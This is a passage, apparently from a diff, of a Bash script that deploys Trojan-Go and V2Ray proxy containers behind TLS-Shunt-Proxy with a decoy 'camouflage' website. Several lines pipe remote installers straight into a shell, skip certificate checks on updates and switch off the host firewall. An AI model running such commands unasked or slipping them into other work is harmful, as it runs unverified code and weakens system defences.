v2ray_tcp_mode="vmess" + ;; + [lL]) + echo -e "${GreenBG} Protocolo de modo TCP selecionado VLESS ${Font}" + v2ray_tcp_mode="vless" + ;; + none) + echo -e "${GreenBG} Pular implantação do modo TCP ${Font}" + v2ray_tcp_mode="none" + ;; + *) + echo -e "${RedBG} Por favor insira a letra correta (M/L) ${Font}" + ;; + esac + read -rp "Selecione o tipo de protocolo do modo V2Ray WebSocket:VMess(M)/VLESS(L),Pular por padrão,(M/L) [Skip]:" v2ray_ws_mode + [[ -z ${v2ray_ws_mode} ]] && v2ray_ws_mode="none" + case $v2ray_ws_mode in + [mM]) + echo -e "${GreenBG} Modo WS selecionado VMess ${Font}" + v2ray_ws_mode="vmess" + ;; + [lL]) + echo -e "${GreenBG} Modo WS selecionado VLESS ${Font}" + v2ray_ws_mode="vless" + ;; + none) + echo -e "${GreenBG} Pular implantação do modo WS ${Font}" + v2ray_ws_mode="none" + ;; + *) + echo -e "${RedBG} Por favor insira a letra correta (M/L) ${Font}" + ;; + esac +} + +v2ray_reset() { + config_exist_check ${v2ray_conf} + [[ -f ${v2ray_conf} ]] && rm -rf ${v2ray_conf} + mkdir -p $v2ray_conf_dir + cat >$v2ray_conf <<-EOF +{ + "log": { + "loglevel": "warning" + }, + "inbounds":[ + ], + "outbounds": [ + { + "protocol": "freedom", + "settings": {}, + "tag": "direct" + }, + { + "protocol": "blackhole", + "settings": {}, + "tag": "blocked" + } + ], + "dns": { + "servers": [ + "https+local://1.1.1.1/dns-query", + "1.1.1.1", + "1.0.0.1", + "8.8.8.8", + "8.8.4.4", + "localhost" + ] + }, + "routing": { + "rules": [ + { + "ip": [ + "geoip:private" + ], + "outboundTag": "blocked", + "type": "field" + }, + { + "type": "field", + "outboundTag": "blocked", + "protocol": ["bittorrent"] + }, + { + "type": "field", + "inboundTag": [ + ], + "outboundTag": "direct" + } + ] + } +} +EOF + if [[ "${v2ray_ws_mode}" = v*ess ]]; then + UUID=$(cat /proc/sys/kernel/random/uuid) + echo -e "${OK} ${GreenBG} UUID:${UUID} ${Font}" + v2wspath="/v2ray/$(head -n 10 /dev/urandom | md5sum | head -c ${random_num})/" + echo -e "${OK} ${GreenBG} Ligue o modo V2Ray WS,WSPATH: ${v2wspath} ${Font}" + v2wsport=$((RANDOM % 6666 + 30000)) + echo -e "${OK} ${GreenBG} V2Ray WS 监听端口为 ${v2wsport} ${Font}" + if [[ "${v2ray_ws_mode}" = "vmess" ]]; then + #read -rp "请输入 WS 模式 AlterID(默认:10 仅允许填非0数字):" alterID + [[ -z ${alterID} ]] && alterID="10" + jq '.inbounds += [{"sniffing":{"enabled":true,"destOverride":["http","tls"]},"port":'${v2wsport}',"listen":"127.0.0.1","tag":"vmess-ws-in","protocol":"vmess","settings":{"clients":[{"id":"'"${UUID}"'","alterId":'${alterID}'}]},"streamSettings":{"network":"ws","wsSettings":{"acceptProxyProtocol":true,"path":"'"${v2wspath}"'"}}}]' ${v2ray_conf} | sponge ${v2ray_conf} && + jq '.routing.rules[2].inboundTag += ["vmess-ws-in"]' ${v2ray_conf} | sponge ${v2ray_conf} + judge "Geração de configuração V2Ray VMess WS" + fi + if [[ "${v2ray_ws_mode}" = "vless" ]]; then + jq '.inbounds += [{"sniffing":{"enabled":true,"destOverride":["http","tls"]},"port":'${v2wsport}',"listen":"127.0.0.1","tag":"vless-ws-in","protocol":"vless","settings":{"clients":[{"id":"'"${UUID}"'","level":0}],"decryption":"none"},"streamSettings":{"network":"ws","wsSettings":{"acceptProxyProtocol":true,"path":"'"${v2wspath}"'"}}}]' ${v2ray_conf} | sponge ${v2ray_conf} && + jq '.routing.rules[2].inboundTag += ["vless-ws-in"]' ${v2ray_conf} | sponge ${v2ray_conf} + judge "Geração de configuração V2Ray VLESS WS" + fi + port_exist_check ${v2wsport} + fi + if [[ "${v2ray_tcp_mode}" = v*ess ]]; then + UUID=$(cat /proc/sys/kernel/random/uuid) + echo -e "${OK} ${GreenBG} UUID:${UUID} ${Font}" + v2port=$((RANDOM % 6666 + 20000)) + echo -e "${OK} ${GreenBG} A porta de escuta V2Ray TCP é ${v2port} ${Font}" + if [[ "${v2ray_tcp_mode}" = "vmess" ]]; then + #read -rp "请输入 TCP 模式 AlterID(默认:10 仅允许填非0数字):" alterID + [[ -z ${alterID} ]] && alterID="10" + jq '.inbounds += [{"sniffing":{"enabled":true,"destOverride":["http","tls"]},"port":'${v2port}',"listen":"127.0.0.1","tag":"vmess-tcp-in","protocol":"vmess","settings":{"clients":[{"id":"'"${UUID}"'","alterId":'${alterID}'}]},"streamSettings":{"network":"tcp","tcpSettings":{"acceptProxyProtocol":true}}}]' ${v2ray_conf} | sponge ${v2ray_conf} && + jq '.routing.rules[2].inboundTag += ["vmess-tcp-in"]' ${v2ray_conf} | sponge ${v2ray_conf} + judge "Geração de configuração V2Ray VMess TCP" + fi + if [[ "${v2ray_tcp_mode}" = "vless" ]]; then + jq '.inbounds += [{"sniffing":{"enabled":true,"destOverride":["http","tls"]},"port":'${v2port}',"listen":"127.0.0.1","tag":"vless-tcp-in","protocol":"vless","settings":{"clients":[{"id":"'"${UUID}"'","level":0}],"decryption":"none"},"streamSettings":{"network":"tcp","tcpSettings":{"acceptProxyProtocol":true}}}]' ${v2ray_conf} | sponge ${v2ray_conf} && + jq '.routing.rules[2].inboundTag += ["vless-tcp-in"]' ${v2ray_conf} | sponge ${v2ray_conf} + judge "Geração de configuração V2Ray VLESS TCP" + fi + port_exist_check ${v2port} + fi + if [[ -f ${tsp_conf} ]]; then + v2ray_sync + judge "Sincronizar configuração V2Ray" + systemctl restart tls-shunt-proxy && service_status_check tls-shunt-proxy + judge "Configurações do aplicativo TLS-Shunt-Proxy" + else + echo -e "${Error} ${RedBG} A configuração TLS-Shunt-Proxy está anormal, reinstale e tente novamente ${Font}" + exit 4 + fi +} + +modify_v2ray() { + deployed_status_check + echo -e "${WARN} ${Yellow} Modificar a configuração do V2Ray irá redefinir as informações de configuração do proxy existente, se deve continuar (Y/N) [N]? ${Font}" + read -r modify_confirm + [[ -z ${modify_confirm} ]] && modify_confirm="No" + case $modify_confirm in + [yY][eE][sS] | [yY]) + prereqcheck + v2ray_mode_type + [[ $v2ray_tcp_mode != "none" || $v2ray_ws_mode != "none" ]] && v2ray_reset + docker restart V2Ray + ;; + *) ;; + esac +} + +v2ray_sync() { + [[ -z $v2port ]] && v2port=40003 + [[ -z $v2wsport ]] && v2wsport=40002 + [[ -z $v2wspath ]] && v2wspath=/v2ray/none + [[ -z $v2ray_tcp_mode ]] && v2ray_tcp_mode=none + [[ -z $v2ray_ws_mode ]] && v2ray_ws_mode=none + if [[ ${v2ray_tcp_mode} = v*ess ]]; then + sed -i "/default: #V2Ray_TCP/c \\ default: #V2Ray_TCP" ${tsp_conf} + sed -i "/handler: proxyPass #V2Ray_TCP/c \\ handler: proxyPass #V2Ray_TCP" ${tsp_conf} + sed -i "/#V2Ray_TCP_Port/c \\ args: 127.0.0.1:${v2port};proxyProtocol #V2Ray_TCP_Port:${v2ray_tcp_mode}" ${tsp_conf} + else + sed -i "/default: #V2Ray_TCP/c \\ #default: #V2Ray_TCP" ${tsp_conf} + sed -i "/handler: proxyPass #V2Ray_TCP/c \\ #handler: proxyPass #V2Ray_TCP" ${tsp_conf} + sed -i "/#V2Ray_TCP_Port/c \\ #args: 127.0.0.1:${v2port};proxyProtocol #V2Ray_TCP_Port:${v2ray_tcp_mode}" ${tsp_conf} + fi + if [[ ${v2ray_ws_mode} = v*ess ]]; then + sed -i "/#V2Ray_WS_Path/c \\ - path: ${v2wspath} #V2Ray_WS_Path" ${tsp_conf} + sed -i "/handler: proxyPass #V2Ray_WS/c \\ handler: proxyPass #V2Ray_WS" ${tsp_conf} + sed -i "/#V2Ray_WS_Port/c \\ args: 127.0.0.1:${v2wsport};proxyProtocol #V2Ray_WS_Port:${v2ray_ws_mode}" ${tsp_conf} + else + sed -i "/#V2Ray_WS_Path/c \\ #- path: ${v2wspath} #V2Ray_WS_Path" ${tsp_conf} + sed -i "/handler: proxyPass #V2Ray_WS/c \\ #handler: proxyPass #V2Ray_WS" ${tsp_conf} + sed -i "/#V2Ray_WS_Port/c \\ #args: 127.0.0.1:${v2wsport};proxyProtocol #V2Ray_WS_Port:${v2ray_ws_mode}" ${tsp_conf} + fi +} + +web_camouflage() { + ##Observe que isso está em conflito com o caminho padrão do script LNMP. Não use este script em um ambiente onde o LNMP está instalado, caso contrário, você será responsável pelas consequências. + rm -rf $web_dir + mkdir -p $web_dir + cd $web_dir || exit + websites[0]="https://github.com/h31105/LodeRunner_TotalRecall.git" + websites[1]="https://github.com/h31105/adarkroom.git" + websites[2]="https://github.com/h31105/webosu" + selectedwebsite=${websites[$RANDOM % ${#websites[@]}]} + git clone ${selectedwebsite} web_camouflage + judge "Disfarce de WebSite" +} + +install_docker() { + echo -e "${GreenBG} Comece a instalar a versão mais recente do Docker ... ${Font}" + curl -fsSL https://get.docker.com -o /tmp/get-docker.sh + sh /tmp/get-docker.sh + judge "Instale o Docker" + systemctl daemon-reload + systemctl enable docker && systemctl restart docker + judge "Início do Docker" +} + +install_tsp() { + bash <(curl -L -s https://raw.githubusercontent.com/liberal-boy/tls-shunt-proxy/master/dist/install.sh) + judge "Instalar TLS-Shunt-Proxy" + chown -R tls-shunt-proxy:tls-shunt-proxy /etc/ssl/tls-shunt-proxy + command -v setcap >/dev/null 2>&1 && setcap "cap_net_bind_service=+ep" /usr/local/bin/tls-shunt-proxy + config_exist_check ${tsp_conf} + [[ -f ${tsp_conf} ]] && rm -rf ${tsp_conf} + mkdir -p $tsp_conf_dir + cat >$tsp_conf <<-EOF +#TSP_CFG_Ver:${tsp_cfg_version} +listen: 0.0.0.0:${tspport} #TSP_Port +redirecthttps: 0.0.0.0:80 +inboundbuffersize: 4 +outboundbuffersize: 32 +vhosts: + - name: ${domain} #TSP_Domain + tlsoffloading: true + managedcert: true + keytype: p256 + alpn: h2,http/1.1 + protocols: tls12,tls13 + http: + paths: + #- path: /trojan/none #Trojan_WS_Path + #handler: proxyPass #Trojan_WS + #args: 127.0.0.1:40000 #Trojan_WS_Port:${trojan_ws_mode} + #- path: /v2ray/none #V2Ray_WS_Path + #handler: proxyPass #V2Ray_WS + #args: 127.0.0.1:40002;proxyProtocol #V2Ray_WS_Port:${v2ray_ws_mode} + handler: fileServer + args: ${web_dir}/web_camouflage #Website_camouflage + #trojan: #Trojan_TCP + #handler: proxyPass #Trojan_TCP + #args: 127.0.0.1:40001 #Trojan_TCP_Port:${trojan_tcp_mode} + #default: #V2Ray_TCP + #handler: proxyPass #V2Ray_TCP + #args: 127.0.0.1:40003;proxyProtocol #V2Ray_TCP_Port:${v2ray_tcp_mode} +EOF + judge "Configurar TLS-Shunt-Proxy" + systemctl daemon-reload && systemctl reset-failed + systemctl enable tls-shunt-proxy && systemctl restart tls-shunt-proxy + judge "Iniciar TLS-Shunt-Proxy" +} + +modify_tsp() { + domain_port_check + sed -i "/#TSP_Port/c \\listen: 0.0.0.0:${tspport} #TSP_Port" ${tsp_conf} + sed -i "/#TSP_Domain/c \\ - name: ${domain} #TSP_Domain" ${tsp_conf} + tsp_sync +} + +tsp_sync() { + echo -e "${OK} ${GreenBG} Detectar e sincronizar a configuração de proxy existente... ${Font}" + if [[ $trojan_stat = "installed" && -f ${trojan_conf} ]]; then + tjport="$(grep '"local_port"' ${trojan_conf} | sed -r 's/.*: (.*),.*/\1/')" && trojan_tcp_mode=true && + tjwspath="$(grep '"path":' ${trojan_conf} | awk -F '"' '{print $4}')" && trojan_ws_mode="$(jq -r '.websocket.enabled' ${trojan_conf})" + judge "Detectar a configuração do Trojan-Go" + [[ -z $tjport ]] && trojan_tcp_mode=false + [[ $trojan_ws_mode = null ]] && trojan_ws_mode=false + [[ -z $tjwspath ]] && tjwspath=/trojan/none + echo -e "Detectado: proxy Trojan-Go:TCP:${Green}${trojan_tcp_mode}${Font} / WebSocket:${Green}${trojan_ws_mode}${Font} / porta:${Green}${tjport}${Font} / WebSocket Path:${Green}${tjwspath}${Font}" + fi + + if [[ $v2ray_stat = "installed" && -f ${v2ray_conf} ]]; then + sed -i '/\#\"/d' ${v2ray_conf} + v2port="$(jq -r '[.inbounds[] | select(.streamSettings.network=="tcp") | .port][0]' ${v2ray_conf})" && + v2wsport="$(jq -r '[.inbounds[] | select(.streamSettings.network=="ws") | .port][0]' ${v2ray_conf})" && + v2ray_tcp_mode="$(jq -r '[.inbounds[] | select(.streamSettings.network=="tcp") | .protocol][0]' ${v2ray_conf})" && + v2ray_ws_mode="$(jq -r '[.inbounds[] | select(.streamSettings.network=="ws") | .protocol][0]' ${v2ray_conf})" && + v2wspath="$(jq -r '[.inbounds[] | select(.streamSettings.network=="ws") | .streamSettings.wsSettings.path][0]' ${v2ray_conf})" + judge "Verifique a configuração V2Ray" + [[ $v2port = null ]] && v2port=40003 + [[ $v2wsport = null ]] && v2wsport=40002 + [[ $v2ray_tcp_mode = null ]] && v2ray_tcp_mode=none + [[ $v2ray_ws_mode = null ]] && v2ray_ws_mode=none + [[ $v2wspath = null ]] && v2wspath=/v2ray/none + echo -e "Detectado: proxy V2Ray:TCP:${Green}${v2ray_tcp_mode}${Font} porta:${Green}${v2port}${Font} / WebSocket:${Green}${v2ray_ws_mode}${Font} porta:${Green}${v2wsport}${Font} / WebSocket Path:${Green}${v2wspath}${Font}" + fi + + if [[ -f ${tsp_conf} ]]; then + trojan_sync + v2ray_sync + tsp_config_stat="synchronized" + systemctl restart tls-shunt-proxy + judge "Sincronização de configuração de shunt" + menu_req_check tls-shunt-proxy + else + echo -e "${Error} ${RedBG} A configuração TLS-Shunt-Proxy está anormal, reinstale e tente novamente ${Font}" + exit 4 + fi +} + +install_trojan() { + systemctl is-active "docker" &>/dev/null || install_docker + prereqcheck + trojan_reset + docker pull teddysun/trojan-go + docker run -d --network host --name Trojan-Go --restart=always -v /etc/trojan-go:/etc/trojan-go teddysun/trojan-go + judge "Instalação do contêiner Trojan-Go" +} + +install_v2ray() { + systemctl is-active "docker" &>/dev/null || install_docker + prereqcheck + v2ray_mode_type + [[ $v2ray_tcp_mode = "vmess" || $v2ray_ws_mode = "vmess" ]] && check_system && chrony_install + if [[ $v2ray_tcp_mode != "none" || $v2ray_ws_mode != "none" ]]; then + v2ray_reset + docker pull teddysun/v2ray + docker run -d --network host --name V2Ray --restart=always -v /etc/v2ray:/etc/v2ray teddysun/v2ray + judge "Instalação do contêiner V2Ray" + fi +} + +install_watchtower() { + docker pull containrrr/watchtower + docker run -d --name WatchTower --restart=always -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower --cleanup + judge "Instalação do contêiner WatchTower" +} + +install_portainer() { + docker volume create portainer_data + docker pull portainer/portainer-ce + docker run -d -p 9080:9000 --name Portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce + judge "Instalação do contêiner Portainer" + echo -e "${OK} ${GreenBG} O endereço de gerenciamento do Portainer é http://$TSP_Domain:9080 Abra você mesmo a porta do firewall! ${Font}" +} + +install_tls_shunt_proxy() { + check_system + systemctl is-active "firewalld" &>/dev/null && systemctl stop firewalld && echo -e "${OK} ${GreenBG} Firewalld está desligado ${Font}" + systemctl is-active "ufw" &>/dev/null && systemctl stop ufw && echo -e "${OK} ${GreenBG} UFW está fechado ${Font}" + dependency_install + basic_optimization + domain_port_check + port_exist_check "${tspport}" + port_exist_check 80 + config_exist_check "${tsp_conf}" + web_camouflage + install_tsp +} + +uninstall_all() { + echo -e "${RedBG} !!!Esta operação excluirá TLS-Shunt-Proxy, plataforma Docker e os dados do contêiner instalados por este script!!! ${Font}" + read -rp "Depois de confirmar, digite YES (diferencia maiúsculas de minúsculas):" uninstall + [[ -z ${uninstall} ]] && uninstall="No" + case $uninstall in + YES) + echo -e "${GreenBG} Comece a desinstalação ${Font}" + sleep 2 + ;; + *) + echo -e "${RedBG} deixe-me pensar de novo ${Font}" + exit 1 + ;; + esac + check_system + uninstall_proxy_server + uninstall_watchtower + uninstall_portainer + systemctl stop docker && systemctl disable docker + if [[ "${ID}" == "centos" ]]; then + ${INS} remove docker-ce docker-ce-cli containerd.io docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-engine + else + ${INS} remove docker-ce docker-ce-cli containerd.io docker docker-engine docker.io containerd runc + fi + #rm -rf /var/lib/docker #Removes all docker data + rm -rf /etc/systemd/system/docker.service + uninstall_tsp + echo -e "${OK} ${GreenBG} Todos os componentes foram desinstalados, bem-vindo para usar este script novamente! ${Font}" + exit 0 +} + +uninstall_tsp() { + systemctl stop tls-shunt-proxy && systemctl disable tls-shunt-proxy + rm -rf /etc/systemd/system/tls-shunt-proxy.service + rm -rf /usr/local/bin/tls-shunt-proxy + rm -rf $tsp_conf_dir + userdel -rf tls-shunt-proxy + tsp_stat="none" + rm -rf ${web_dir}/web_camouflage + echo -e "${OK} ${GreenBG} Desinstalação do TLS-Shunt-Proxy concluída!${Font}" + sleep 3 +} + +uninstall_proxy_server() { + uninstall_trojan + uninstall_v2ray + echo -e "${OK} ${GreenBG} A desinstalação do proxy TCP / WS (Trojan-Go / V2Ray) está concluída! ${Font}" + sleep 3 +} + +uninstall_trojan() { + rm -rf $trojan_conf_dir + trojan_ws_mode="none" && trojan_tcp_mode="none" + [ -f ${tsp_conf} ] && trojan_sync + systemctl start docker + [[ $trojan_stat = "installed" ]] && docker stop Trojan-Go && docker rm -f Trojan-Go && + echo -e "${OK} ${GreenBG} A desinstalação do proxy TCP / WS Trojan-Go foi concluída! ${Font}" +} + +uninstall_v2ray() { + rm -rf $v2ray_conf_dir + v2ray_ws_mode="none" && v2ray_tcp_mode="none" + [ -f ${tsp_conf} ] && v2ray_sync + systemctl start docker + [[ $v2ray_stat = "installed" ]] && docker stop V2Ray && docker rm -f V2Ray && + echo -e "${OK} ${GreenBG} Desinstalação do proxy TCP / WS V2Ray concluída! ${Font}" +} +uninstall_watchtower() { + docker stop WatchTower && docker rm -f WatchTower && watchtower_stat="none" && + echo -e "${OK} ${GreenBG} Desinstalação da WatchTower concluída! ${Font}" + sleep 3 +} + +uninstall_portainer() { + docker stop Portainer && docker rm -fv Portainer && portainer_stat="none" && + echo -e "${OK} ${GreenBG} Desinstalação do Portainer concluída! ${Font}" + sleep 3 +} + +upgrade_tsp() { + current_version="$(/usr/local/bin/tls-shunt-proxy --version 2>&1 | awk 'NR==1{gsub(/"/,"");print $3}')" + echo -e "${GreenBG} Versão atual do TLS-Shunt-Proxy: ${current_version},Comece a testar a versão mais recente... ${Font}" + latest_version="$(wget --no-check-certificate -qO- https://api.github.com/repos/liberal-boy/tls-shunt-proxy/tags | grep 'name' | cut -d\" -f4 | head -1)" + [[ -z ${latest_version} ]] && echo -e "${Error} Falha ao detectar a versão mais recente ! ${Font}" && menu + if [[ ${latest_version} != "${current_version}" ]]; then + echo -e "${OK} ${GreenBG} Versão Atual: ${current_version} A última versão de: ${latest_version},Atualizar (Y/N) [N]? ${Font}" + read -r update_confirm + [[ -z ${update_confirm} ]] && update_confirm="No" + case $update_confirm in + [yY][eE][sS] | [yY]) + config_exist_check "${tsp_conf}" + bash <(curl -L -s https://raw.githubusercontent.com/liberal-boy/tls-shunt-proxy/master/dist/install.sh) + judge "Atualização TLS-Shunt-Proxy" + systemctl daemon-reload && systemctl reset-failed + systemctl enable tls-shunt-proxy && systemctl restart tls-shunt-proxy + judge "Reinicialização de TLS-Shunt-Proxy" + ;; + *) ;; + esac + else + echo -e "${OK} ${GreenBG} O TLS-Shunt-Proxy atual é a versão mais recente ${current_version} ${Font}" + fi +} + +update_sh() { + command -v curl >/dev/null 2>&1 || ${INS} install curl + judge "Instalar pacote de dependência curl" + ol_version=$(curl -L -s https://raw.githubusercontent.com/h31105/trojan_v2_docker_onekey/${github_branch}/deploy.sh | grep "shell_version=" | head -1 | awk -F '=|"' '{print $3}') + echo "$ol_version" >$version_cmp + echo "$shell_version" >>$version_cmp + if [[ "$shell_version" < "$(sort -rV $version_cmp | head -1)" ]]; then + echo -e "${OK} ${GreenBG} atualizar conteúdo:${Font}" + echo -e "${Yellow}$(curl --silent https://api.github.com/repos/h31105/trojan_v2_docker_onekey/releases/latest | grep body | head -n 1 | awk -F '"' '{print $4}')${Font}" + echo -e "${OK} ${GreenBG} Há uma nova versão, seja para atualizar (Y/N) [N]? ${Font}" + read -r update_confirm + case $update_confirm in + [yY][eE][sS] | [yY]) + wget -N --no-check-certificate https://raw.githubusercontent.com/h31105/trojan_v2_docker_onekey/${github_branch}/deploy.sh + echo -e "${OK} ${GreenBG} A atualização está concluída, execute novamente o script:\n#./deploy.sh ${Font}" + exit 0 + ;; + *) ;; + esac + else + echo -e "${OK} ${GreenBG} A versão atual é a versão mais recente ${Font}" + fi +} + +list() { + case $1 in + uninstall) + deployed_status_check + uninstall_all + ;; + sync) + deployed_status_check + tsp_sync + ;; + debug) + debug="enable" + #set -xv + menu + ;; + *) + menu + ;; + esac +} + +deployed_status_check() { + tsp_stat="none" && trojan_stat="none" && v2ray_stat="none" && watchtower_stat="none" && portainer_stat="none" + trojan_tcp_mode="none" && v2ray_tcp_mode="none" && trojan_ws_mode="none" && v2ray_ws_mode="none" + tsp_config_stat="synchronized" && chrony_stat="none" + + echo -e "${OK} ${GreenBG} Informações de configuração do shunt de detecção... ${Font}" + [[ -f ${tsp_conf} || -f '/usr/local/bin/tls-shunt-proxy' ]] && + tsp_template_version=$(grep '#TSP_CFG_Ver' ${tsp_conf} | sed -r 's/.*TSP_CFG_Ver:(.*) */\1/') && tsp_stat="installed" && + TSP_Port=$(grep '#TSP_Port' ${tsp_conf} | sed -r 's/.*0:(.*) #.*/\1/') && TSP_Domain=$(grep '#TSP_Domain' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/') && + trojan_tcp_port=$(grep '#Trojan_TCP_Port' ${tsp_conf} | sed -r 's/.*:(.*) #.*/\1/') && + trojan_tcp_mode=$(grep '#Trojan_TCP_Port' ${tsp_conf} | sed -r 's/.*Trojan_TCP_Port:(.*) */\1/') && + trojan_ws_port=$(grep '#Trojan_WS_Port' ${tsp_conf} | sed -r 's/.*:(.*) #.*/\1/') && + trojan_ws_mode=$(grep '#Trojan_WS_Port' ${tsp_conf} | sed -r 's/.*Trojan_WS_Port:(.*) */\1/') && + trojan_ws_path=$(grep '#Trojan_WS_Path' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/') && + v2ray_tcp_port=$(grep '#V2Ray_TCP_Port' ${tsp_conf} | sed -r 's/.*:(.*);.*/\1/') && + v2ray_tcp_mode=$(grep '#V2Ray_TCP_Port' ${tsp_conf} | sed -r 's/.*V2Ray_TCP_Port:(.*) */\1/') && + v2ray_ws_port=$(grep '#V2Ray_WS_Port' ${tsp_conf} | sed -r 's/.*:(.*);.*/\1/') && + v2ray_ws_mode=$(grep '#V2Ray_WS_Port' ${tsp_conf} | sed -r 's/.*V2Ray_WS_Port:(.*) */\1/') && + v2ray_ws_path=$(grep '#V2Ray_WS_Path' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/') && + menu_req_check tls-shunt-proxy + + echo -e "${OK} ${GreenBG} Verifique o status de implantação do componente... ${Font}" + systemctl is-active "docker" &>/dev/null && docker ps -a | grep Trojan-Go &>/dev/null && trojan_stat="installed" + systemctl is-active "docker" &>/dev/null && docker ps -a | grep V2Ray &>/dev/null && v2ray_stat="installed" + systemctl is-active "docker" &>/dev/null && docker ps -a | grep WatchTower &>/dev/null && watchtower_stat="installed" + systemctl is-active "docker" &>/dev/null && docker ps -a | grep Portainer &>/dev/null && portainer_stat="installed" + + echo -e "${OK} ${GreenBG} Informações de configuração do agente de detecção... ${Font}" + + if [[ -f ${trojan_conf} && $trojan_stat = "installed" ]]; then + tjport=$(grep '"local_port"' ${trojan_conf} | sed -r 's/.*: (.*),.*/\1/') + tjpassword=$(grep '"password"' ${trojan_conf} | awk -F '"' '{print $4}') + [[ $trojan_ws_mode = true ]] && tjwspath=$(grep '"path":' ${trojan_conf} | awk -F '"' '{print $4}') && + tjwshost=$(grep '"host":' ${trojan_conf} | awk -F '"' '{print $4}') + [[ $trojan_tcp_mode = true && $tjport != "$trojan_tcp_port" ]] && echo -e "${Error} ${RedBG} Detectada anormalidade na configuração do shunt da porta TCP do Trojan-Go ${Font}" && tsp_config_stat="mismatched" + [[ $trojan_ws_mode = true && $tjport != "$trojan_ws_port" ]] && echo -e "${Error} ${RedBG} Detectada anormalidade de configuração de shunt de porta Trojan-Go WS ${Font}" && tsp_config_stat="mismatched" + [[ $trojan_ws_mode = true && $tjwspath != "$trojan_ws_path" ]] && echo -e "${Error} ${RedBG} 检测到 Trojan-Go WS 路径分流配置异常 ${Font}" && tsp_config_stat="mismatched" + [[ $tsp_config_stat = "mismatched" ]] && echo -e "${Error} ${RedBG} Uma configuração de shunt inconsistente é detectada e tentará sincronizar e reparar automaticamente... ${Font}" && tsp_sync + fi + + if [[ -f ${v2ray_conf} && $v2ray_stat = "installed" ]]; then + [[ $v2ray_tcp_mode = "vmess" ]] && + v2port=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="tcp") | .port][0]' ${v2ray_conf}) && + VMTID=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="tcp") | .settings.clients[].id][0]' ${v2ray_conf}) && + VMAID=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="tcp") | .settings.clients[].alterId][0]' ${v2ray_conf}) + [[ $v2ray_tcp_mode = "vless" ]] && + v2port=$(jq -r '[.inbounds[] | select(.protocol=="vless") | select(.streamSettings.network=="tcp") | .port][0]' ${v2ray_conf}) && + VLTID=$(jq -r '[.inbounds[] | select(.protocol=="vless") | select(.streamSettings.network=="tcp") | .settings.clients[].id][0]' ${v2ray_conf}) + [[ $v2ray_ws_mode = "vmess" ]] && + v2wsport=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="ws") | .port][0]' ${v2ray_conf}) && + v2wspath=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="ws") | .streamSettings.wsSettings.path][0]' ${v2ray_conf}) && + VMWSID=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="ws") | .settings.clients[].id][0]' ${v2ray_conf}) && + VMWSAID=$(jq -r '[.inbounds[] | select(.protocol=="vmess") | select(.streamSettings.network=="ws") | .settings.clients[].alterId][0]' ${v2ray_conf}) + [[ $v2ray_ws_mode = "vless" ]] && + v2wsport=$(jq -r '[.inbounds[] | select(.protocol=="vless") | select(.streamSettings.network=="ws") | .port][0]' ${v2ray_conf}) && + v2wspath=$(jq -r '[.inbounds[] | select(.protocol=="vless") | select(.streamSettings.network=="ws") | .streamSettings.wsSettings.path][0]' ${v2ray_conf}) && + VLWSID=$(jq -r '[.inbounds[] | select(.protocol=="vless") | select(.streamSettings.network=="ws") | .settings.clients[].id][0]' ${v2ray_conf}) + [[ $v2ray_tcp_mode = v*ess && $v2port != "$v2ray_tcp_port" ]] && echo -e "${Error} ${RedBG} Detectada anormalidade de configuração de shunt da porta TCP V2Ray ${Font}" && tsp_config_stat="mismatched" + [[ $v2ray_ws_mode = v*ess && $v2wsport != "$v2ray_ws_port" ]] && echo -e "${Error} ${RedBG} Anormalidade de configuração de shunt de porta V2Ray WS detectada ${Font}" && tsp_config_stat="mismatched" + [[ $v2ray_ws_mode = v*ess && $v2wspath != "$v2ray_ws_path" ]] && echo -e "${Error} ${RedBG} Anormalidade de configuração de shunt de caminho V2Ray WS detectada ${Font}" && tsp_config_stat="mismatched" + [[ $tsp_config_stat = "mismatched" ]] && echo -e "${Error} ${RedBG} Uma configuração de shunt inconsistente é detectada e tentará sincronizar e reparar automaticamente... ${Font}" && tsp_sync + if [[ $v2ray_tcp_mode = "vmess" || $v2ray_ws_mode = "vmess" ]]; then + if [[ "${ID}" == "centos" ]]; then + systemctl is-active "chronyd" &>/dev/null || chrony_stat=inactive + else + systemctl is-active "chrony" &>/dev/null || chrony_stat=inactive + fi + if [[ $chrony_stat = inactive ]]; then + echo -e "${Error} ${RedBG} Foi detectado que o serviço de sincronização de tempo Chrony não foi iniciado. Se a hora do sistema for imprecisa, isso afetará seriamente a disponibilidade do protocolo V2Ray VMess ${Font}\n${WARN} ${Yellow} 当前系统时间: $(date),请确认时间是否准确,误差范围±3分钟内(Y)或 尝试修复时间同步服务(R)[R]: ${Font}" + read -r chrony_confirm + [[ -z ${chrony_confirm} ]] && chrony_confirm="R" + case $chrony_confirm in + [rR]) + echo -e "${GreenBG} Instale o serviço de sincronização de tempo Chrony ${Font}" + check_system + chrony_install + ;; + *) ;; + esac + fi + fi + fi + + [[ -f ${trojan_conf} || -f ${v2ray_conf} || $trojan_stat = "installed" || $v2ray_stat = "installed" ]] && menu_req_check docker + [[ $trojan_stat = "installed" && ! -f $trojan_conf ]] && echo -e "\n${Error} ${RedBG} Foi detectada anormalidade na configuração do proxy Trojan-Go, as seguintes opções serão bloqueadas, tente reinstalar o reparo e tente novamente ... ${Font}" && + echo -e "${WARN} ${Yellow}[Shield] Modificação da configuração do Trojan-Go${Font}" + [[ $v2ray_stat = "installed" && ! -f $v2ray_conf ]] && echo -e "\n${Error} ${RedBG} Foi detectada anormalidade na configuração do proxy V2Ray, as seguintes opções serão bloqueadas, tente reinstalar e tente novamente... ${Font}" && + echo -e "${WARN} ${Yellow}[Shield] Modificação da configuração V2Ray${Font}" + + if [[ $tsp_stat = "installed" && $tsp_template_version != "${tsp_cfg_version}" ]]; then + echo -e "${WARN} ${Yellow}Foi detectada uma atualização crítica de TLS-Shunt-Proxy. Para 